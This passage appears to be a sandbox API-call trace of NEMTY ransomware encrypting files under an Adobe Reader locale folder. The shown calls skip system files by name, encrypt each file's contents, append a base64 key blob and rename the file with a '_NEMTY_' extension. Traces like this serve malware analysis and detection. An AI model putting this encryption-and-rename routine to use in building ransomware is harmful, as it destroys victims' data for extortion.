[0182.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.331] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.331] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.331] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.331] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="dsg3Cum8xnR/kbIaCVb9VTe/gDxIyL6PWNS+bffVql3qvlu9WQhQRAoN53xG/L0L\r\nXqXRhiE/MlF2xg1X60ezeQ5zkI7CLLZbX0qwvjeZFL+8m9PX+T1GY9dFtAPFx/Sn\r\nh6DwGe40tuk65+iVdJtG/XTyu1mR3YRo7Zr33upJ3NRAZbVliut5ywNOVsMFu3pf\r\naGqbb1phAeldhn0iN6BYgBK6j24DO1DRtrcVMnn9XQ7E506SeweTAGnBD45bBM8r\r\n9S4WNlynyS24DbobW8gplnX1d+oo4TlgdJ9n0DkVSwAcm6iVyAubPDA05t3YdpTS\r\nYR/tPznjX16wWdmM16tvbg==\r\n", pcchString=0x653e5dc) returned 1 [0182.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.331] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Annots.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\annots.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.332] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=510464) returned 1 [0182.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.332] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.332] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.341] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.341] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.342] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=510464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ca00 [0182.342] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.345] CloseHandle (hObject=0x2e8) returned 1 [0182.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0182.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.345] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Annots.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\annots.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Annots.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\annots.rum._nemty_kgobjgd_")) returned 1 [0182.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0182.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.347] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.RUM", cAlternateFileName="BRDLAN~1.RUM")) returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2=".") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="..") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="...") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="windows") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="rsa") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="NTDETECT.COM") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="ntldr") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="MSDOS.SYS") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="IO.SYS") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="boot.ini") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="boot.ini") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="ntuser.dat") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="desktop.ini") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="CONFIG.SYS") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="RECYCLER") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="bootmgr") returned 1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="programdata") returned -1 [0182.347] lstrcmpiW (lpString1="BRdlang32.RUM", lpString2="appdata") returned 1 [0182.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUM", lpUsedDefaultChar=0x0) returned 13 [0182.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUM", lpUsedDefaultChar=0x0) returned 13 [0182.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUM", lpUsedDefaultChar=0x0) returned 13 [0182.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUM", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUM", lpUsedDefaultChar=0x0) returned 13 [0182.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.348] Sleep (dwMilliseconds=0x5) [0182.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2057ce70, dwHighDateTime=0x1d561e8)) [0182.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2057ce70, dwHighDateTime=0x1d561e8)) [0182.362] GetLastError () returned 0x0 [0182.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.362] GetLastError () returned 0x0 [0182.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.362] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.362] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.363] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.363] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Glkx2KjMcy4wd7Mrl6NaVYuGFXgGXPD8QtZTJ+7UGxGqd+tv6gDVZv8WEmreS08e\r\nr+n95n0PKJzOw0CXq3M02iB3zPHFzW7dCu/cEEG5vdLhZpz7u6a6j+1f6COQXZRd\r\nmNyQ9qMaJERYFGfk4jJZPmGTI25DPUkTSScxYR14RyvJQLbwoZ8bXAyg4wnXfUK5\r\n4eAjE+cVahCo2j1Xo98mLcWdWrDQwdPiaB1fSC8bnyvOPxuU2QFVvsSNU5gYupkD\r\nCGRRFlUT4ZHOrTVXd0JDuj+MJ6oa4zbFePYTLqozQTt7V7kiUS94MUMPtoU87/Xt\r\nZtkOo5F+95S74RCo3tbQJg==\r\n", pcchString=0x653e5dc) returned 1 [0182.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\BRdlang32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\brdlang32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.363] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14336) returned 1 [0182.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3800) returned 0x6352c48 [0182.363] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.363] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3800, lpOverlapped=0x0) returned 1 [0182.366] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.366] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3800, lpOverlapped=0x0) returned 1 [0182.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.366] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=14336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3800 [0182.366] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.366] CloseHandle (hObject=0x2e8) returned 1 [0182.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.366] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\BRdlang32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\brdlang32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\BRdlang32.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\brdlang32.rum._nemty_kgobjgd_")) returned 1 [0182.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.367] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.RUM", cAlternateFileName="")) returned 1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2=".") returned 1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="..") returned 1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="...") returned 1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="windows") returned -1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="rsa") returned -1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="NTDETECT.COM") returned -1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="ntldr") returned -1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="MSDOS.SYS") returned -1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="IO.SYS") returned -1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="boot.ini") returned 1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="boot.ini") returned 1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="ntuser.dat") returned -1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="desktop.ini") returned -1 [0182.367] lstrcmpiW (lpString1="Checkers.RUM", lpString2="CONFIG.SYS") returned -1 [0182.368] lstrcmpiW (lpString1="Checkers.RUM", lpString2="RECYCLER") returned -1 [0182.368] lstrcmpiW (lpString1="Checkers.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.368] lstrcmpiW (lpString1="Checkers.RUM", lpString2="bootmgr") returned 1 [0182.368] lstrcmpiW (lpString1="Checkers.RUM", lpString2="programdata") returned -1 [0182.368] lstrcmpiW (lpString1="Checkers.RUM", lpString2="appdata") returned 1 [0182.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUM", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.368] HeapFree (in: hHeap=0x4f90000, 